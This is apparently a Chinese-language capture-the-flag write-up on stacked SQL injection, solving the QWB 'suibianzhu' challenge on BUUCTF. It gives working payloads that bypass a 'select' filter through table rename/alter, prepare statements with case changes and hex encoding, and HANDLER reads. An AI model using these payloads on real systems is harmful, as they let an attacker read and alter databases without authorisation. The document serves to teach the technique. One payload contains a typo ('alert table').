目录
什么是堆叠注入?
强网杯-随便注
rename && alter绕过
prepare绕过
Handle绕过
靶机:BUUCTF在线评测
什么是堆叠注入?
在一些场景中,应用程序支持一次执行多条SQL语句,我们称为堆叠查询,如果应用程序中存在SQL注入漏洞,攻击者就可以在原有的SQL语句后添加新的SQL语句,这种攻击就成为堆叠注入攻击
将多个语句一起进行查询,比如
select * from users;show databases;
产生这种注入的原理也很简单,是由于PHP mysql_multi_query()
这个函数支持多个SQL语句同时执行,只需要使用;
分割即可。
例如:我们可以使用下列一条语句同时查询出两条数据:
强网杯-随便注
现在知道了堆叠注入是什么后,现在在强网杯的随便注例题试试看
进入到题目中发现是这样的:
那么可以提交一个1看看会有什么反应:
尝试使用'闭合
可以看到这里也是报错了,说明是存在注入点的
那么我们可以尝试注入一下数据库有多少列:
通过测试发现数据库中一共是有2列,那么再来试试使用union 来进行联合查询一下:
可以看到这里打印的是后端过滤的字符串,我们需要使用的select被过滤掉了
这里不使用这些被过滤的字符串,使用堆叠注入我们可以使用show直接查出数据库和表名:
也可以使用desc查看一下表结构:
注:这个纯数字的表名需要使用反引号引起来
根据上面查找知道回显的表是有两列的,因此就是word表了
现在需要做的就是查询字段了,但是select 关键字被过滤了,无法查询,因此我们需要绕过限制来查询数据:
rename && alter绕过
现在知道了前台是有显示数据的,并且这个数据是从words这个表中读取的,因此,我们可以把表名1919810931114514
改为word,并将数字名的表中的列名改为与words表里同样的列名就可以让前台顺利的读取flag
我们先查看一下words表中的列名:
1';show columns from words;
可以看到分别是id 和 data然后我们现在需要去将1919810931114514表中的列名flag 修改为 data 并添加一列 id,因为words表有两列,而1919810931114514表只有一列
payload:
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#
重命名完成后,使用alter进行查询:
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
可以看到这样就成功的拿到了flag
prepare绕过
预处理或者说是可传参的语句用来高效的执行重复的语句
MYSQL官方将:
prepare
、execute
、deallocate
统称为PREPARE STATEMENT
三个基本语句:
prepare stmt_name from preparable_stmt;
execute stmt_name [using @var_name [, @var_name] ...];
{deallocate | drop} prepare stmt_name;
payload
1';seT @a = CONCAT('se','lect * from `1919810931114514`;'); pRepare flag from @a;EXECUTE flag;#
set
prepare
被过滤了,因此在payload中进行简单的大小写绕过
首先设定一个变量a 并使用mysql的concat函数拼接语句
prepare from
是预处理语句
execute
用来执行由SQLPrepare
创建的SQL语句
而值得注意的是,SET
只能一次对一个变量赋值
也可以使用编码来绕过select
使用Hex对
select * from ` 1919810931114514 `
进行编码
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
而无论是payload1中的prepare flag
还是payload2中的execsql
他们都是我们起的一个代称,下面的execute用来执行这个你起的代称。比如 EXECUTE flag
execute execsql
Handle绕过
HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭
MySQL 除了可以使用 select 查询表中的数据,也可使用 handler
语句,这条语句使我们能够一行一行
的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用
的语句,并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口,可以用于 MyISAM 和 InnoDB 表。
不使用索引
# 打开一个表名为 tbl_name 的表的句柄
HANDLER tbl_name OPEN [ [AS] alias]
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
# 关闭以打开的句柄
HANDLER tbl_name CLOSE
使用select查询 users表中的数据:
使用handler查询 users表中的数据:
首先打开句柄:
handler users open;
接着查询数据:
handler users read first;
handler users read next;
payload:
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;